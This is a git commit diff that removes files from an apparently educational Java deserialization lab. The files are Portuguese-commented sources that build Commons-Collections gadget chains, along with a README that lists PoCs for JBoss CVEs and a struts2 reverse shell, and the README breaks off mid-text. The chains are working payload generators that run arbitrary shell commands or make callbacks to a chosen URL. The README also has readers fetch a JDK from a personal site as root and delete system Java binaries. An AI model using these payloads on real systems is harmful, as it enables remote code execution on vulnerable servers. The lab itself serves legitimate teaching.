优化 CVE-2017-12149 利用工具
This commit is contained in:
parent
28cbad61ce
commit
691d4479fc
@ -1,36 +0,0 @@
|
|||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Classe serializável (implementa serializable) usada no primeiro exemplo
|
|
||||||
* para destacar os magic methods readObject (invocado automaticamente durante
|
|
||||||
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
|
|
||||||
* serializacao)
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
class Alien implements java.io.Serializable {
|
|
||||||
|
|
||||||
String name;
|
|
||||||
String source;
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a desserializacao
|
|
||||||
// de objetos deste tipo
|
|
||||||
private void readObject(java.io.ObjectInputStream in)
|
|
||||||
throws IOException, ClassNotFoundException {
|
|
||||||
in.defaultReadObject();
|
|
||||||
System.out.println("Deserializing an object of class: "+ getClass().getName());
|
|
||||||
}
|
|
||||||
|
|
||||||
// magic method invocado automaticamente durante a serializacao
|
|
||||||
// de objetos deste tipo
|
|
||||||
private void writeObject(java.io.ObjectOutputStream out)
|
|
||||||
throws IOException {
|
|
||||||
out.defaultWriteObject();
|
|
||||||
System.out.println("Serializing an object of class: "+ getClass().getName());
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,103 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.FileNotFoundException;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.net.URL;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
|
|
||||||
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
|
|
||||||
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
|
|
||||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
|
||||||
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
|
|
||||||
* Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
|
|
||||||
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class DnsWithCommonsCollections {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
String url = args[0];
|
|
||||||
// Cria array de transformers que resulta na seguinte construção:
|
|
||||||
// new URL(url).openConnection().getInputStream().read();
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
new ConstantTransformer(new URL(url)),
|
|
||||||
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
|
|
||||||
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
|
|
||||||
new InvokerTransformer("read", new Class[] {}, new Object[] {})
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//criado a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in SleepExample.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
@ -1,129 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gera payload que leva a execução de código durante a desserialização.
|
|
||||||
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
|
|
||||||
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
|
|
||||||
* do JRE, como trigger gadget.
|
|
||||||
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
|
|
||||||
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
|
|
||||||
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
|
|
||||||
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* * https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExampleCommonsCollections1 {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
|
||||||
|
|
||||||
// Verifica se o usuário forneceu o comando a ser executado
|
|
||||||
if (args.length != 1) {
|
|
||||||
System.out.println("Invalid params! \n" +
|
|
||||||
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
|
|
||||||
System.exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Seleciona o interpretador correto de acordo com o comando a ser executado
|
|
||||||
//boolean isUnix = System.getProperty("file.separator").equals("/");
|
|
||||||
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
|
|
||||||
String cmd[];
|
|
||||||
if (isUnix)
|
|
||||||
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
|
|
||||||
else
|
|
||||||
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
|
|
||||||
|
|
||||||
// Cria array de transformers que resulta na seguinte construção:
|
|
||||||
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
// retorna Class Runtime.class
|
|
||||||
new ConstantTransformer(Runtime.class),
|
|
||||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
|
||||||
),
|
|
||||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"exec", // invoca método: exec
|
|
||||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
|
||||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
|
||||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
|
||||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
|
||||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
|
||||||
// Torna o construtor acessível
|
|
||||||
ctor.setAccessible(true);
|
|
||||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
|
||||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
|
||||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
|
||||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
|
||||||
|
|
||||||
//cria a interface map
|
|
||||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
|
||||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
|
||||||
|
|
||||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
|
||||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
|
||||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
|
||||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
|
||||||
|
|
||||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
|
||||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
|
||||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
|
||||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
|
||||||
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
|
|
||||||
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(handlerProxy);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,79 +0,0 @@
|
|||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.lang.*;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
|
|
||||||
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
|
|
||||||
* via Reflexão) caso seja acessada uma chave inexistente no map.
|
|
||||||
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
|
|
||||||
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
|
||||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ rm /tmp/h2hc_lazymap
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
|
|
||||||
* $ ls -all /tmp/h2hc_lazymap
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExampleTransformersWithLazyMap {
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
|
||||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
|
||||||
|
|
||||||
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
|
|
||||||
|
|
||||||
Transformer[] transformers = new Transformer[] {
|
|
||||||
// retorna Class Runtime.class
|
|
||||||
new ConstantTransformer(Runtime.class),
|
|
||||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"getMethod", // invoca método getMethod
|
|
||||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
|
||||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
|
||||||
),
|
|
||||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"invoke", // invoca método: invoke
|
|
||||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
|
||||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
|
||||||
),
|
|
||||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
|
||||||
new InvokerTransformer(
|
|
||||||
"exec", // invoca método: exec
|
|
||||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
|
||||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
|
||||||
};
|
|
||||||
|
|
||||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
|
||||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
|
||||||
// Cria o map
|
|
||||||
Map map = new HashMap();
|
|
||||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
|
||||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
|
||||||
|
|
||||||
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,72 +0,0 @@
|
|||||||
import java.io.FileInputStream;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectInputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
|
|
||||||
* o fluxo de execução durante a desserialização.
|
|
||||||
* Esse código gera um payload para explorar um sistema hipotético que contenha
|
|
||||||
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
**** USAGE ****
|
|
||||||
*
|
|
||||||
* Compilando:
|
|
||||||
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
|
|
||||||
*
|
|
||||||
* Executando
|
|
||||||
* $ rm /tmp/h2hc_2017
|
|
||||||
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
|
|
||||||
* $ ls -all /tmp/h2hc_2017
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ExploitGadgetExample1{
|
|
||||||
@SuppressWarnings ( {"unchecked"} )
|
|
||||||
public static void main(String[] args)
|
|
||||||
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
|
|
||||||
IOException, ClassNotFoundException {
|
|
||||||
|
|
||||||
// Instancia um SomeInvocationHandler
|
|
||||||
InvocationHandler handler = new SomeInvocationHandler();
|
|
||||||
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
|
|
||||||
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
|
|
||||||
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
|
|
||||||
|
|
||||||
// criar interface Map
|
|
||||||
Class[] interfaceMap = new Class[] {java.util.Map.class};
|
|
||||||
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
|
|
||||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
|
|
||||||
|
|
||||||
// Intancia ForgottenClass (que sera' serializado)
|
|
||||||
ForgottenClass gadget = new ForgottenClass();
|
|
||||||
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
|
|
||||||
field.setAccessible(true); // torna o campo "map" acessível
|
|
||||||
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
|
|
||||||
|
|
||||||
// Serializa objeto do ForgottenClass e salva no disco
|
|
||||||
System.out.println("Serializing ForgottenClass");
|
|
||||||
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
|
||||||
oos.writeObject(gadget);
|
|
||||||
oos.flush();
|
|
||||||
|
|
||||||
// Desserializa objeto a partir do arquivo, para simular o que devera
|
|
||||||
// ocorrer quando o objeto for desserializado por uma aplicacao
|
|
||||||
System.out.println("Deserializing ForgottenClass");
|
|
||||||
FileInputStream fis = new FileInputStream("/tmp/object.ser");
|
|
||||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
|
||||||
ois.readObject(); // <-- Inicia a desserializacao!
|
|
||||||
} //end main
|
|
||||||
}
|
|
@ -1,46 +0,0 @@
|
|||||||
import java.io.IOException;
|
|
||||||
import java.io.Serializable;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
|
||||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
|
||||||
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
|
|
||||||
* pode ser usado como trampolim para o método invoke() de classes que implementem
|
|
||||||
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
|
|
||||||
* SomeInvocationHandler, que contém um código que se deseja alcançar.
|
|
||||||
*
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* -----------------------------------------------------------------------
|
|
||||||
*
|
|
||||||
* @author @joaomatosf
|
|
||||||
*/
|
|
||||||
public class ForgottenClass implements Serializable {
|
|
||||||
|
|
||||||
private Map map;
|
|
||||||
|
|
||||||
// magic method executado automaticamente durante a desserializacao
|
|
||||||
// de objetos deste tipo. Repare que é acessado um método de um camop
|
|
||||||
// controlado pelos usuários (map.entrySet())
|
|
||||||
private void readObject(java.io.ObjectInputStream in)
|
|
||||||
throws IOException, ClassNotFoundException{
|
|
||||||
in.defaultReadObject();
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in ForgottenClass.readObject()");
|
|
||||||
map.entrySet();
|
|
||||||
}
|
|
||||||
|
|
||||||
// outro magic method invocado automaticamente durante a desserialização
|
|
||||||
private Object readResolve(){
|
|
||||||
System.out.println("-------------------------------------------");
|
|
||||||
System.out.println("The flow is in the ForgottenClass.readResolve()");
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
// método qualquer, que não é invocado durante a desserialização.
|
|
||||||
private void anotherMethod(){
|
|
||||||
System.out.println("The flow is in ForgottenClass.anotherMethod()");
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,21 +0,0 @@
|
|||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2017 João F M Figueiredo
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
@ -1,143 +0,0 @@
|
|||||||
# Lab for Java Deserialization Vulnerabilities
|
|
||||||
|
|
||||||
This content is related to the paper written for the 12th edition of H2HC magazine.
|
|
||||||
See full paper in: https://www.h2hc.com.br/revista/
|
|
||||||
|
|
||||||
Slides and video of the talk will be available soon.
|
|
||||||
|
|
||||||
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
|
|
||||||
|
|
||||||
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
|
|
||||||
|
|
||||||
Content
|
|
||||||
--
|
|
||||||
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
|
|
||||||
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
|
|
||||||
|
|
||||||
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
|
|
||||||
|
|
||||||
Slides
|
|
||||||
--
|
|
||||||
|
|
||||||
[](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
|
|
||||||
|
|
||||||
|
|
||||||
Examples (PoC's)
|
|
||||||
------
|
|
||||||
|
|
||||||
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
|
|
||||||
|
|
||||||
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=JIWMItSA8l0)
|
|
||||||
|
|
||||||
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=IrZOlqio0nw)
|
|
||||||
|
|
||||||
|
|
||||||
Lab Usage Examples
|
|
||||||
--
|
|
||||||
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
|
|
||||||
|
|
||||||
***Getting JDK***
|
|
||||||
|
|
||||||
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
|
|
||||||
|
|
||||||
As **root**, run:
|
|
||||||
```
|
|
||||||
# cd /opt
|
|
||||||
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
|
|
||||||
# tar zxvf jdk-8u20-linux-x64.tar.gz
|
|
||||||
# rm -rf /usr/bin/java*
|
|
||||||
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
|
|
||||||
# java -version
|
|
||||||
java version "1.8.0_20"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
***Getting codes:***
|
|
||||||
|
|
||||||
```
|
|
||||||
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
|
|
||||||
$ cd JavaDeserH2HC
|
|
||||||
```
|
|
||||||
|
|
||||||
***Compiling and executing Vulnerable Web Application:***
|
|
||||||
|
|
||||||
```
|
|
||||||
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
|
||||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
```
|
|
||||||
* =============================================================== *
|
|
||||||
* Simple Java HTTP Server for Deserialization Lab v0.01 *
|
|
||||||
* https://github.com/joaomatosf/JavaDeserH2HC *
|
|
||||||
* =============================================================== *
|
|
||||||
You can inject java serialized objects in the following formats:
|
|
||||||
|
|
||||||
1) Binary in HTTP POST (ie \xAC\xED). Ex:
|
|
||||||
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
|
|
||||||
|
|
